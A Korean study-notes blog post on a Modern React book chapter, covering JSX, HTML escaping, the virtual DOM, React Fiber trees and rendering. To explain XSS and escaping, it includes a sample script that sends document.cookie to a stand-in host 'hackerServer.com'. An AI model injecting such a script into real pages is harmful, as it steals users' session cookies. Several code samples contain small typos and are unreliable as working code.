모던 리액트 2장

모던 리액트 공부 기록

2024-01-01

옛날에 웹 개발자의 관심사는 오직 순수한 HTML이였습니다.

HTML,CSS,JS는 무조건 별도로 분리하자!

HTML,JS,CSS가 분리되어 깔끔하고 순수해 보입니다. 그러나 몇가지 문제가 존재했습니다.

그리고 분리 이후 유지보수에도 문제가 생깁니다.

JS파일,HTML파일을 왔다갔다 하면서 코드를 수정해야 하는 귀찮음이 생겼습니다.

굳이 분리해야 하나?

그러던 중 Angular라는 프레임워크가 나왔습니다. 데이터가 수정되면 HTML이 자동으로 변경되고, 마크업이 변경되었습니다.

<div ng-controller="MyController">
  <div ng-repeat="item in list">
    {{ item }}
  </div>
</div>
<script>
  controllers.controller('MyController',($scope)=>{
  	$scope.list = [1,2,3,4,5];
  });
</script>

이렇게 한 파일안에 HTML,Controller가 한 묶음으로 여겨져서 불편함이 해소될 수 있었습니다.

이렇게 Augular를 시작으로 사람들은 자바스크립트,HTML의 묶음을 받아들이기 시작합니다.

Angular가 HTML안에 자바스크립트를 넣는다면,

React는 자바스크립트 안에 HTML을 넣습니다.

JSX

Untitled

JSX는 자바스크립트 표준 코드가 아닌 페이스북이 임의로 만든 새로운 문법입니다.

따라서 반드시 트랜스파일러를 거쳐야 비로소 자바스크립트 코드로 변환됩니다. 보통 바벨로 자바스크립트로 변환되어집니다.

JSX는 HTML,XML 외에도 다른 구문으로 확장될 수 있게 설계되어 있습니다.

JSX는 JSXElement, JSXAttributes,JSXChildren,JSXStrings 4가지로 구성되어 있다.

요소명은 대문자로 시작해야만 되는 거 아닌가요?

리액트에서는 컴포넌트를 만들어 사용할 때 반드시 대문자로 시작해야 한다.

이는 JSXElements 표준에는 없는 내용인데, 왜냐하면 리액트에서 HTML 태그명과 사용자가 만든 컴포넌트 태그명을 구분 짓기 위해서다.

이스케이프

특정 문자를 원래의 기능에서 벗어나게 변환하는 것을 이스케이프라고 한다

&&amp;<&lt;>&gt;"은 &quot;'은 &#39띄어쓰기는 &nbsp;

예를 들어, HTML에서 아래는 렌더링 되지 않는다.

<div><onlyDev</div>

HTML은 <을 태그의 시작으로 인지해 뒷부분에 에러가 발생한다.

이런 상황을 고려해 원래 기능에서 벗어난 문자열로 변환해 의도대로 구문을 파악하도록 이스케이프 한다.

<div>&lt;onlyDev</div>

이스케이프는 XSS공격을 방지할 수 있다.

XSS

보통 블로그나 게시판과 같은 서비스에서 발생하며, 글에 스크립트를 주입해 사용자의 정보를 터는 작업을 한다.

예를들어서

이 과정에서 글 대신 스크립트 언어를 써서 다른 사용자가 글을 읽을 때

스크립트 언어가 실행되어 피해를 입게 되는 것이 XSS 공격이다!

<script>
  let xmlHttp = new XMLHttpRequest();
  const url =
    'http://hackerServer.com?victimCookie=' +
    document.cookie;
  xmlHttp.open('GET', url);
  xmlHttp.send();
</script>

JSX에 삽입된 모든 값을 렌더링하기 전에 이스케이프한다.

그럼 위의 코드를 이스케이프하면 어떤 모양일까?

<!-- 이스케이프 후  -->
&lt;script&gt;
  let xmlHttp = new XMLHttpRequest();
  const url =
    &quot;http://hackerServer.com?victimCookie=&quot; +
    document.cookie;
  xmlHttp.open(&quot;GET&quot;, url);
  xmlHttp.send();
&lt;/script&gt;

이렇게 되면 HTML 본연의 태그나 스크립트 기능이 제거되기 때문에 XSS 공격을 방지할 수 있다.

JSX의 예제

const A = <A>안녕하세요</A>
const B = <A />
const C = <A {...{required:true}} />
const D = <A required />
const E = <A required={false} />

const F = (
  <A>
    <B text="리액트" />
  </A>
)

const G = (
  <A>
    <B optionalChildren={<>'안녕'</>} />
  </A>
)

const H = (
  <A>
    안녕하세요
    <B optionalChildren={<>'안녕'</>} />
  </A>
)

JSX는 어떻게 자바스크립트로 변환될까 ?

먼저 리액트에서 JSX를 변환하는 @babel/plugin-transform-react-jsx 플러그인이 필요하다.

이 플러그인은 JSX를 자바스크립트가 이해하는 형태로 변환한다.

변환 전 코드

/** @jsxRuntime classic */

const profile = (
  <div>
    <img src="avatar.png" className="profile" />
    <h3>{[user.firstName, user.lastName].join(" ")}</h3>
  </div>
);

변환 후 코드

const profile = React.createElement(
  "div",
  null,
  React.createElement("img", { src: "avatar.png", className: "profile" }),
  React.createElement("h3", null, [user.firstName, user.lastName].join(" "))
);

가상 DOM과 리액트 파이버

요 자료들 추천추천

https://d2.naver.com/helloworld/2690975

https://blog.mathpresso.com/react-deep-dive-fiber-88860f6edbd0

https://bumkeyy.gitbook.io/bumkeyy-code/frontend/a-deep-dive-into-react-fiber-internals

DOM과 브라우저 렌더링 과정

DOM은 웹 페이지에 대한 인터페이스로 브라우저가 웹페이지의 콘텐츠와 구조를 어떻게 보여줄지에 대한 정보를 담는다.

  1. HTML를 파싱 후, DOM트리를 구축합니다.
  2. CSS를 파싱 후, CSSOM트리를 구축합니다.
  3. Javascript를 실행합니다.
    • 주의! HTML 중간에 스크립트가 있다면 HTML 파싱이 중단됩니다.
  4. DOM과 CSSOM을 조합하여 렌더트리를 구축합니다.
    • 주의! display: none 속성과 같이 화면에서 보이지도 않고 공간을 차지하지 않는 것은 렌더트리로 구축되지 않습니다.
  5. 뷰포트 기반으로 렌더트리의 각 노드가 가지는 정확한 위치와 크기를 계산합니다. (Layout 단계)
  6. 계산한 위치/크기를 기반으로 화면에 그립니다. (Paint 단계)

용어 정리

가상 DOM의 등장 배경

브라우저가 웹페이지를 렌더링하는 과정은 매우 복잡하고 많은 비용이 든다.

또한 렌더링 이후 정보를 보여주는데 그치지 않고 사용자의 인터렉션을 통해 다양한 정보를 노출한다. 이 때 사용자의 인터렉션으로 인해 웹 페이지가 변경되는 상황 또한 고려해야 한다.

하나의 인터렉션으로 DOM의 여러 가지가 바뀌는 사나리오는 요즘 현재 웹에서 되게 흔한 상황이다. 그리고 이런 DOM의 변경점을 추적하기에는 개발자 입장에서 너무 수고가 많이 들게 된다.

개발하는 사람 입장에서 인터렉션에서 발생하는 DOM의 변경보다는 그래서 최종적으로 어떻게 DOM이 바뀌었는데? 가 더 궁금할 수 있다. 이렇게 인터렉션에 따른 DOM의 최종 결과물을 간편하게 제공하기 위해 가상 DOM이 등장한다.

변화를 감지하는 방법

이 방법은 node tree를 재귀적으로 순회하면서 어떤 노드에 변화가 생겼는지 인식하는 방법이다.

그리고 변화된 노드를 리랜더링 시키는 방법이다. 그러나 이렇게 하면 변화가 없을 때에도 재귀적으로 노드를 탐색해야 하므로, 불필요한 비용이 들 수 있다.

이 방법은 변화가 생긴 노드가 관찰자에게 알림을 보내주는 방식이다.

리액트의 경우 state의 변화가 생겼을 때, 리액트에게 다시 렌더링을 해줘라고 알림을 보내준다.

그리고 리액트는 알림을 받으면 다시 렌더링을 시킨다. 노드에 변화가 생겼다는 알림을 받으면 렌더링하는 것이다.

그러나 observable의 방법도 문제가 있다. 변화에 대한 알림을 받으면 전체를 렌더링시킨다. 이 방법은 엄청나게 많은 reflow-repaint 과정을 일으칼 수 있다.

가상 DOM

가상 DOM은 메모리에 존재하는 하나의 객체이다. 리액트는 이제 state의 변화가 생기면 -> 실제의 DOM을 렌더링시키는 게 아니라 가상 DOM을 렌더링시킨다.

브라우저를 새로 렌더링하는 비용 VS 객체를 새로 만드는 비용

당연하게도, 새 객체를 만드는 것이 더 효율적으로 먹히게 된다.

최종적으로 리액트에서 변화가 생기면 가상 DOM이라는 메모리 상에 객체를 하나 만들고, 거기서 변화가 생긴 내용과 실제 DOM을 비교해 필요한 부분만 브라우저에 적용시킨다.

가상 DOM의 current 트리와 workInProgress트리

가상DOM은 fiber node로 구성된 트리형태로 이루어져 있다.

마크다운 이미지

Current 트리는 DOM이 mounted된 fiber 노드들로, workInProgress 트리는 렌더단계에서 작업 중인 fiber노드들로 이루어져있다.

커밋단계를 지나게 되면 이 workInProgress 트리가 current트리로 바뀌게 된다.

workInProgress 트리는 current tree에서 자기복제해서 만들어진다. alternate라는 키로 서로 참조하고 있다.

또한 모든 fiber 노드들은 연결리스트로 연결이 이루어져있다. fiber 노드는 첫번쨰 자식을 child로 참조하고, 나머지 자식들은 서로 sibiling(형제)로서 참조한다. 모든 자식은 부모를 return으로 참조한다!

마크다운 이미지

current 트리와 workInProgress 트리 자세히 알아보가

첫번째 렌더링 이후 React는 UI 렌더링에 필요한 애플리케이션의 state를 반영한 fiber트리를 갖게 된다. 이 트리를 current트리라고 부른다.

React가 current tree에 대해 업데이트를 시작하면 그것을 workInProgress트리라고 지칭하게 된다.

모든 작업은 workInProgress 트리의 fiber 노드들에서만 수행된다. React가 처음 current 트리를 살펴보면서, 기존 각 fiber 노드들에 대해 workInProgress 트리를 구성하는 alternate노드를 만든다.

업데이트가 처리되고 모든 관련 작업이 완료되면, React 는 스크린에 뿌려질 alternate 트리를 가지고 있다. 이 workInProgress 트리가 render 되고나면 그것은 다시 current 트리가 된다.

// updateHostComponent
function updateHostComponent(current, workInProgress, renderExpirationTime) {...}

가상 DOM, 어떻게 동작하는데?

마크다운 이미지

이 과정을 재조정이라고 부른다.

가상 DOM을 위한 방법, 파이버 알고리즘

그럼 이 새로운 객체인 가상 DOM을 만드는 것을 리액트는 어떻게 진행할까 ?? 이것을 가능하게 해주는 것이 리액트 파이버(React Fiber)이다.

리액트 파이버는 평범한 자바스크립트 객체이다. 파이버는 파이버 재조정자(fiber reconciler)가 관리하는데, 가상 DOM과 실제 DOM을 비교해 변경사항을 수집하고, 이 둘의 차이가 생기면 파이버를 기준으로 화면에 렌더링을 요청하는 역할을 한다.

//파이버 객체

function FiberNode(tag, pendingProps, key, mode) {
    this.tag = tag;
    this.key = key;
    this.elementType = null;
    this.type = null;
    this.stateNode = null;

    this.return = null;
    this.child = null;
    this.sibling = null;
    this.index = 0;

    ...
}

이처럼 파이버는 단순한 자바스크립트 객체로 구성되어 있다. 그리고 이 파이버 객체는 최초로 컴포넌트가 마운트 되는 시점에 생기며, 최대한 재사용된다.

파이버는 state가 바뀌거나 생명주기 메서드가 실행되거나 , DOM 변경이 필요한 시점에 실행된다. 파이버는 앞서 작업들 (state가 바뀌는, 생명주기 메서드가 실핼되는)을 작은 단위로 나눌수도, 우선순위를 주어서 처리할 수도 있다.

파이버는 결국 인스턴스에 대한 정보 , 다음 파이버로 향하는 포인터(alternate), 변경 사항에 대한 정보를 갖고 있다.

파이버는 크게 다음의 일을 수행할 수 있다.

이 모든 과정은 비동기로 일어난다. 그럼 진짜 파이버는 어떻게 구성되어 있을까? 일단 파이버는 하나의 작업단위로 구성되어 있다.

마크다운 이미지

리액트는 이 하나의 작업단위를 처리하고 finishedWork()으로 마무리한다. 그리고 마지막으로 커밋을 하여 브라우저 DOM에 반영한다.

커밋단계까지 반영이 되면 현재의 앱 상태를 나타내는 flushed fiber와 아직 작업중인 상태, 화면까지 반영되지 않은 workInProgress fiber 2개의 fiber가 존재하게 된다.

마크다운 이미지

현재 UI 렌더링을 위해 존재하는 current(flushed fiber)을 기준으로 모든 작업이 시작된다. 만약 업데이트가 발생하면, 파이버는 리액트에서 최근의 데이터를 기준으로 workInProgress 트리를 빌드한다.

이 workInProgress 트리를 빌드하는 과정이 끝나면 다음 렌더링에 이 트리를 사용한다. 그 후 workInProgress 트리가 최종적으로 렌더링되면 current(flushed fiber)가 workInProgress Tree가 된다.

파이버의 작업순서

만약 setState 등으로 업데이트가 발생하면 어떻게 될까?

다시 setState으로 요청을 받아 workInProgress 트리를 다시 빌드하게 된다.

최초 로드 시에는 모든 파이버를 새로 만들어야 했지만, 기존 파이버를 사용해 빌드를 하게 된다.

트리를 빌드하는 과정은 중단될 수 없었다. 그러나 현재 우선순위가 높은 다른 업데이트가 오면 현재 작업을 일시 중단하거나, 폐기해버릴 수도 있다.

애니메이션이나 사용자의 입력등과 같은 작업을 우선순위가 높은 작업으로 분리하거나, 목록을 렌더링하는 작업은 우선순위가 낮게 분리해 최적으로 작업을 끝낼 수 있게 한다.

클래스형 컴포넌트, 함수형 컴포넌트

(개인적으로 공부할 필요가 있다! 싶을 때 다시 클래스형 컴포넌트를 공부하겠지만 지금은 뭔가 공부할 필요가 있나..?라는 느낌이 든다 🤐)

import React from 'react'

// props 타입을 선언한다.
interface SampleProps {
	required?: boolean;
    text: string;
}

// state 타입을 선언한다.
interface SampleState {
	count: number;
    isLimited?: boolean;
}

// Component에 제네릭으로 props, state를 순서대로 넣어준다.
class SampleComponent extends React.Component<SampleProps, SampleState> {
	// consturctor에서 props를 넘겨주고, state의 기본값을 설정한다.
	private constructor(props: SampleProps) {
    	super(props);
        this.state = {
        	count: 0,
            isLimited: false
       	}
    };
    // render 내부에서 쓰일 함수를 선언한다.
    private handleClick = () => {
    	const newValue = this.state.count + 1;
        this.setState({count: newValue, isLimited: newValue >= 10})
    }
   	// render에서 이 컴포넌트가 렌더링할 내용을 정의한다.
    public render() {
    	// props와 state 값을 this, 즉 해당 클래스에서 꺼낸다.
        const {
        	props: { required, text },
            state: { count, isLimited },
        } = this

	return (
		<h2>
    		Sample Component
    		<div>{required ? '필수' : '필수 아님'}</div>
    		<div>문자: {text}</div>
    		<div>count: {count}</div>
    		<button onclick={this.handClick} disabled={isLimited}>증가</button>
        </h2>
    )
  }
}

클래스형과 함수형 컴포넌트

초기 함수형 컴포넌트는 단순히 요소를 정적으로 렌더링 하는 것이 목표였지만, 16.8 업데이트 이후 달라졌다.

클래스형 컴포넌트

클래스형 컴포넌트를 사용하며 가장 많이 언급되는 것은 생명주기 이다.

클래스형 컴포넌트의 Render()

항상 순수해야하며 Side Effect가 없어야한다. render 함수 내부에서 setState를 호출해서는 안된다.

Pure Component와 일반 Component

shouldComponentUpdate 생명주기를 다룸에 있어서 차이가 있다. Pure Component는 얕은 비교만 진행하여 변경사항이 있을 경우 재 렌더링 시킨다.

ErrorBoundary

componentDidCatch는 개발모드와 프로덕션모드에서 다르게 동작한다. 개발모드에서는 에러가 발생하면 window까지 전파되고, 프로덕션모드에서는 잡히지 않는 에러만 전파된다.

클래스형 컴포넌트의 한계

클래스형 VS 함수형

클래스형은 항상 this를 참조하기에 중간에 값이 변경되는 경우 변경 된 값이 렌더링되고, 함수형은 렌더링이 일어난 순간의 값을 가지고 사용한다.

리액트에서의 렌더링

리액트의 렌더링은 엄밀히 말하면 브라우저의 렌더링과 다르다. 리액트의 렌더링은 리액트 애플리케이션의 트리들의 컴포넌트가 현재 자신이 갖고 있는 props와 state을 기반으로 어떻게 UI를 그리고 어떤 DOM결과를 브라우저에 제공할지 계산하는 과정을 의미한다.

이 렌더링은 2개로 나눌 수 있다.

최초 렌더링
과정과 다시 렌더링이 발생하는
리렌더링
으로 나눌 수 있다.

클래스형 컴포넌트의 경우

setState
가 실행되는 경우와,
forceUpdate
가 실행되는 경우 2가지 경우가 있다.

함수형 컴포넌트이 경우

useState의 두번째 인자인 dispatch
가 실행되는 경우,
useReducer의 두번째 인자인 dispatch
가 실행되는 경우 리렌더링이 발생한다.

마크다운 이미지

컴포넌트의 key props가 변경되는 경우도 발생하게 된다. 리액트의 key는 형제 요소들 사이에서 동일한 요소를 식별하기 위한 값이다.

const arr = [1,2,3];

export default function App(){
  return (
    <ul>
      {arr.map((index) => (
        <li key = {index}>{index}</li>
      ))}
    </ul>
  )
}

위 코드에서 두 가지 트리가 존재하게 될 것이다(발그림 ㅈㅅ..)

마크다운 이미지

key는 리렌더링이 발생하는 동안

형제 요소 사이 동일한 요소
를 식별하기 위한 값이다.

리렌더링이 발생하면 current트리와 workInProgress트리 사이에서

? 아 이게 key가 같으니깐 서로 같은 컴포넌트구나
를 식별할 수 있게 하는 것이 key이다.

이 작업은 리렌더링이 필요한 작업을 최소화 하기 위해 반드시 필요하다.

예를 들어 다음의 코드가 존재한다.

const Child = memo(() => {
  return <li>안녕</li>
})

function List({arr} : {arr : number[]}) {
  const [state,setState] = useState(0);
  
  function handleButtonClick() {
    setState((prev) => prev + 1)
  }

  return (
    <>
      <button onClick = {handleButtonClick}>{state} +</button>
      <ul>
        {arr.map((_,index) => (
          <Child />
        ))}
      </ul>
    </>
  )
}

setState의 호출로 부모인 List에서 리렌더링이 발생해도,

Child는 memo
로 선언되어있으므로 리렌더링이 발생하지 않는다.

이 경우 파이버 내부의 sibiling 인덱스를 기준으로 key가 적용된다. 결과적으로 아래와 동일하게 된다.

<Child key = {index} />

그럼 만약 key를 random하게 집어넣는다면 어떻게 될까?

<Child key = {Math.random()} />

이렇게 매 렌더링마다 변하는 값을 넣으면, 리렌더링이 일어날 때마다 컴포넌트를 명확히 구분할 수 없어서 memo로 선언되어 있어도 리렌더링이 발생하게 된다.

즉 key의 변화는 리렌더링을 야기한다!

부모로부터 전달받는 props가 바뀐다면, 이를 사용하는 자식 컴포넌트에서 렌더링이 발생하고, 부모 컴포넌트가 렌더링되면 반드시 자식 컴포넌트도 렌더링된다.

리액트에서의 렌더링 과정

위와 같은 렌더링 과정이 일어나면, 리액트는 먼저 컴포넌트의 루트부터 아래쪽으로 가면서 업데이트가 필요하다고 지정되어 있는 컴포넌트를 찾는다.

만약 요기서 업데이트가 필요하다고 지정되어 있는 컴포넌트를 발견하면 클래스형 컴포넌트의 경우

render()
를, 함수형 컴포넌트의 경우
FunctionComponent()
자체를 호출하고 결과물을 저장한다.

이 과정에서 JSX문법이

React.createELement
을 호출하는 것으로 변환된다.

function Hello() {
  return (
    <TestComponent a = {35} b = "긤효중" >
      김효중
    </TestComponent>
  )
}

위 JSX는 아래와 같이 변환된다.

function Hello() {
  return React.createElement(
    TextComponent,
    { a : 35, b : '긤효중'},
    김효중
  )
}

{
  type : TestComponent,
  props : {
     a : 35,
     b : "긤효중"
  },
  children: 김효중
}

render phase

렌더(render) 단계는 컴포넌트를 렌더링하고 변경 사항을 계산하는 모든 작업을 뜻한다.

결론 : reconciler가 WORK를 schduler에 등록한다. 이 등록한 WORK를 schduler가 타이밍에 맞게 실행한다.(16버전 이후 stack -> fiber로 아키텍쳐가 바뀌게 된다.)

commit phase

일반적인 렌더링 시나리오 생각하기

이 코드를 예시로 어떻게 일반적으로 렌더링이 진행되는지 생각해보자!

import {useState} from 'react';

export default function A() {
  return (
    <div className = "app">
      <h1>Hello React</h1>
      <B />
    </div>
  )
}

function B() {
  const [counter,setCounter] = useState(0)

  function handleButtonClick() {
    setCounter((prev) => prev + 1)
  }

  return (
    <>
      <label>
        <C number = {counter} />
      </label>
      <button onClick = {hanButtonClick}>+</button>
    </>
  )
}

첫 렌더링이 끝나고 리액트에게 리렌더링을 위해 렌더링 큐에 등록하도록 하는 방법은 다음의 방법이 존재한다.

사용자가 B 컴포넌트의 번트을 눌러 counter를 업데이트 한다고 해보자. 그럼 다음의 순서를 거치게 된다.

렌더링 작업은 렌더링을 피하기 위한 조치(memo)등을 걸지 않는 이상 모든 하위 컴포넌트에 영향을 미친다.

부모가 변경되면 props가 변경되었는지 상관없이 모두 자식이 렌더링된다.